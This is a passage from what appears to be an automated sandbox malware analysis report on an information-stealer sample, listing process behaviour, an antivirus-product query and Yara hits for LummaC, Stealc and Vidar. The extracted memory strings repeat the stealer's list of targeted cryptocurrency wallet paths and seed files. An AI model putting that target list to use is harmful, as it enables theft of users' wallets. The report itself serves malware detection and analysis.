Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Queries volume information: C:\ProgramData\DGHIDAFCGI.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\DGHIDAFCGI.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\userCGCFCBAKKF.exe	Queries volume information: C:\Users\userCGCFCBAKKF.exe VolumeInformation	Jump to behavior
Source: C:\Users\userAAAAKJKJEB.exe	Queries volume information: C:\Users\userAAAAKJKJEB.exe VolumeInformation
Source: C:\Users\userAAAAKJKJEB.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041BC1F GetLocalTime,SystemTimeToFileTime,

4_2_0041BC1F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00410B0B GetProcessHeap,RtlAllocateHeap,GetUserNameA,

4_2_00410B0B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_00410BE6 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

4_2_00410BE6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2129478061.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGI.exe, 00000009.00000002.2715928856.0000000001679000.00000004.00000020.00020000.00000000.sdmp, userCGCFCBAKKF.exe, 0000000F.00000002.2833770925.0000000001263000.00000004.00000020.00020000.00000000.sdmp, userAAAAKJKJEB.exe, 00000017.00000002.2849641176.0000000001302000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe, 00000000.00000002.2129478061.0000000000D81000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.4592558675.0000000001249000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGI.exe, 00000009.00000002.2715928856.0000000001679000.00000004.00000020.00020000.00000000.sdmp, userCGCFCBAKKF.exe, 0000000F.00000002.2833770925.0000000001263000.00000004.00000020.00020000.00000000.sdmp, userAAAAKJKJEB.exe, 00000017.00000002.2849641176.0000000001302000.00000004.00000020.00020000.00000000.sdmp, shbwdh[1].exe.4.dr, 66e40b2e8a52e_lfsdj[1].exe.11.dr	Binary or memory string: AVP.exe
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000000FBA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2910244099.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.2850533577.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2632, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe PID: 3652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2632, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
